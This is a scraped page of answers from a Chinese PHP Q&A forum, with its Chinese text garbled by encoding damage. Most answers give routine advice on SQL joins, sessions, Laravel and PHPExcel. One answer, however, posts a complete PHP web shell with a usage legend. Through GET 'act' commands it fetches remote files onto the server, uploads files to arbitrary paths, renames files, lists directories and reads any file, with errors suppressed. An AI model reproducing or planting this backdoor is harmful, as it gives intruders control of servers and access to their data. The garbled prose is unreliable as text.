鍍金池/ 問(wèn)答/ PHP問(wèn)答
薄荷綠 回答

你理解的左連接是錯(cuò)誤的,左連接是會(huì)匹配所有滿足條件的數(shù)據(jù),如果 trd_goods 中有記錄在 trd_goods_tag_relation 匹配不到數(shù)據(jù)還是會(huì)產(chǎn)生一條記錄,只不過(guò)查詢中 trd_goods_tag_relation 中的字段是 null, 這就是以左邊的表為主。

笨尐豬 回答

1.不建議使用中文
2.使用trim()函數(shù)清楚$_SESSION['usr_name']內(nèi)容是否存在留空情況

憶往昔 回答
error_reporting(0);
if($_GET['act'] == 'dl')
{
    echo ('<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        file_put_contents($_POST['fn'], file_get_contents($_POST['url']));
    }
    exit;
}
if($_GET['act'] == 'ul')
{
    echo ('<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
        move_uploaded_file(${"_FILES"}["uf"]["tmp_name"], $sp . ${"_FILES"}["uf"]["name"]);
    }
    exit;
}
if($_GET['act'] == 'rn')
{
    echo ('<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        rename($_POST['on'], $_POST['nn']);
    }
    exit;
}
if($_GET['act'] == 'gp')
{
    echo (dirname(__FILE__));exit;
}
if($_GET['act'] == 'lp')
{
    echo ('<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $dp = $_POST['dp'] . '/';
        $h  = opendir($dp);while(($fn = readdir($h)) !== false)
        {
            if(is_dir($dp . $fn))
            {
                $t1 .= 'D&nbsp;' . $fn . '<br>';
            }
            else
            {
                $t2 .= '&nbsp;&nbsp;' . $fn . '<br>';
            }
        }
        closedir($dp);
        echo ($dp . '<br>' . $t1 . $t2);
    }
    exit;
}
if($_GET['act'] == 'sf')
{
    echo ('<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $df = $_POST['df'];
        echo ('<textarea style="width:100%;height:100%;" wrap="off">' . file_get_contents($df) . '</textarea>');
    }
    exit;
}

act=dl
下載遠(yuǎn)程文件
act=ul
上傳文件
act=rn
重命名文件
act=gp
讀取當(dāng)前目錄
act=lp
讀取目錄文件列表
act=sf
讀取文件內(nèi)容

抱緊我 回答

自己定. 你說(shuō)什么是錯(cuò)的就是什么.

擱淺 回答

if (!value || value === oldValue) {

            if (conf.onChange) {
                conf.onChange();
            }
        }
else{
 getPagination();
}

這樣呢

互擼娃 回答

假設(shè)他們之間有外鍵外鏈可以用連接查詢
select a.C1,b.C2,c.C3 form B1 as a join B2 b on a.id=b.aid join B3 c on c.id=a.cid

離人歸 回答

請(qǐng)檢查圖片所在的文件夾,drawable文件夾是有好幾個(gè)的,如果你只要這一個(gè)像素類型的圖片,建議把他/它放在drawable-hdpi

虛擬機(jī)上可以,但真機(jī)不行可能就是因?yàn)樯鲜龅脑?/p>

離魂曲 回答

二維數(shù)組在遍歷的時(shí)候用一個(gè)foreach不就可以了嗎?三維數(shù)據(jù)遍歷的時(shí)候貌似才用兩個(gè)foreach的.

抱緊我 回答

xxx.ooo.com 綁定到虛擬站點(diǎn)A
www.ooo.com 綁定到虛擬站點(diǎn)B

貓館 回答

用戶一張表(User),簽到記錄一張表(Sign),剩下全是算法

偽代碼:

User(id: int primary key, username: string, sign: array, ...)

Sign(id: int primary key, user_id: int foreign key(User.id), action: bool, date: datetime, ...)

其中User.sign是一個(gè)與當(dāng)月天數(shù)等長(zhǎng)的短整型數(shù)組(可能要postgresql才支持,不支持?jǐn)?shù)組的話可以用字符串存),表示這個(gè)用戶當(dāng)月簽到情況,比如0表示未簽到,1表示正常簽到,2表示遲到但未早退,3表示未遲到但早退,4表示遲到且早退。Sign.action表示簽到或簽退(或者可以拆成兩個(gè)表,簽到表和簽退表)。

每次簽到的時(shí)候,更新這個(gè)用戶的sign字段(算法根據(jù)需求自己編寫)。

月末清空Sign表,有必要的話可以將這個(gè)月的簽到記錄保存到文件以供查證。

逗婦乳 回答

核心思路大致以下:

1、使用正則表達(dá)式判斷字符串內(nèi)是否包含emoji表情
2、若存在,則將emoji的字符串編碼取出來(lái),與emoji圖片庫(kù)進(jìn)行比對(duì),獲取其的emoji圖片
3、將用戶昵稱生成固定大小的圖片,然后與emoji圖片進(jìn)行圖像處理,一般是兩張圖片合成一張,或兩張合到一張更大的圖片中去
4、將圖片合成到你的海報(bào)上

我想你是卡在了獲取emoji圖片的問(wèn)題上了?
你可以參考

php 實(shí)現(xiàn)websocket后端的話建議擴(kuò)展 swoole

萌面人 回答

請(qǐng)升級(jí),1.2.0修復(fù)了這個(gè)bug

卟乖 回答

PHPExcel_Worksheet_Drawing 了解一下,下面的copy的一份代碼

<?php 
ini_set("display_errors",1);
 
include 'Classes/PHPExcel.php';
include 'Classes/PHPExcel/IOFactory.php';
 
define('EXCEL_EXTENSION_2003', "xls");
define('EXCEL_EXTENSION_2007', "xlsx");
 
 
$fileName2003 = "Standard_Format_File1.xls";
$fileName2007 = "Standard_Format_File1.xlsx";
 
$fileName = $fileName2003;
//$fileName = $fileName2007;
 
if(getExtendFileName($fileName) == EXCEL_EXTENSION_2003)
{
    $reader = PHPExcel_IOFactory::createReader('Excel5');
}
else if(getExtendFileName($fileName) == EXCEL_EXTENSION_2007)
{
    $reader = new PHPExcel_Reader_Excel2007();
}
 
$PHPExcel = $reader->load($fileName);
$worksheet = $PHPExcel->getActiveSheet();
$imageInfo = extractImageFromWorksheet($worksheet,"importImg/");
 
print_r($imageInfo);
 
function getExtendFileName($file_name) {
 
    $extend = pathinfo($file_name);
    $extend = strtolower($extend["extension"]);
    return $extend;
}
 
function extractImageFromWorksheet($worksheet,$basePath){
 
    $result = array();
 
    $imageFileName = "";
 
    foreach ($worksheet->getDrawingCollection() as $drawing) {
        $xy=$drawing->getCoordinates();
        $path = $basePath;
        // for xlsx
        if ($drawing instanceof PHPExcel_Worksheet_Drawing) {
 
            $filename = $drawing->getPath();
 
            $imageFileName = $drawing->getIndexedFilename();
                 
            $path = $path . $drawing->getIndexedFilename();
 
            copy($filename, $path);
 
            $result[$xy] = $path;
 
            // for xls
        } else if ($drawing instanceof PHPExcel_Worksheet_MemoryDrawing) {
 
            $image = $drawing->getImageResource();
 
            $renderingFunction = $drawing->getRenderingFunction();
 
            switch ($renderingFunction) {
 
                case PHPExcel_Worksheet_MemoryDrawing::RENDERING_JPEG:
                         
                    $imageFileName = $drawing->getIndexedFilename();
                    $path = $path . $drawing->getIndexedFilename();
                    imagejpeg($image, $path);
                    break;
 
                case PHPExcel_Worksheet_MemoryDrawing::RENDERING_GIF:
                    $imageFileName = $drawing->getIndexedFilename();
                    $path = $path . $drawing->getIndexedFilename();
                    imagegif($image, $path);
                    break;
 
                case PHPExcel_Worksheet_MemoryDrawing::RENDERING_PNG:
                    $imageFileName = $drawing->getIndexedFilename();
                    $path = $path . $drawing->getIndexedFilename();
                    imagegif($image, $path);
                    break;
 
                case PHPExcel_Worksheet_MemoryDrawing::RENDERING_DEFAULT:
                    $imageFileName = $drawing->getIndexedFilename();
                    $path = $path . $drawing->getIndexedFilename();
                    imagegif($image, $path);
                    break;
            }
            $result[$xy] = $imageFileName;
        }
    }
 
    return $result;
}
只愛你 回答
  1. 肯定前后端分離比較好,效率高,好維護(hù)
  2. 正常來(lái)說(shuō)你的問(wèn)題1可以完全規(guī)避
  3. 使用 Ajax 取數(shù)據(jù)是完全足夠的,不需要 nodejs 作為中間層。使用 nodejs 的原因多半是后端服務(wù)已經(jīng)成型,后端開發(fā)不愿意花費(fèi)更多的工作為前端改接口;前端也懶得整理總結(jié)自己的要求,干脆自己上。
  4. 后端提供接口前端獲取數(shù)據(jù)并渲染是完全可行的,很多公司都是這么做的,比如我司。
  5. 不過(guò)前后端分離也要看場(chǎng)景,比如資訊網(wǎng)站因?yàn)楸仨?SEO,不太合適?;蛘吣銈円龇?wù)器端渲染,這樣一次性要做的東西就會(huì)比較多。
  6. 工作需要協(xié)同,請(qǐng)題主多跟后端溝通,大家共同商定好的協(xié)作模式。
我甘愿 回答

laravel 同一個(gè)項(xiàng)目操作多個(gè)數(shù)據(jù)庫(kù)只能這樣用,其實(shí)也沒(méi)那么累贅。

不討囍 回答

你下載php源碼才有~在源代碼的ext目錄下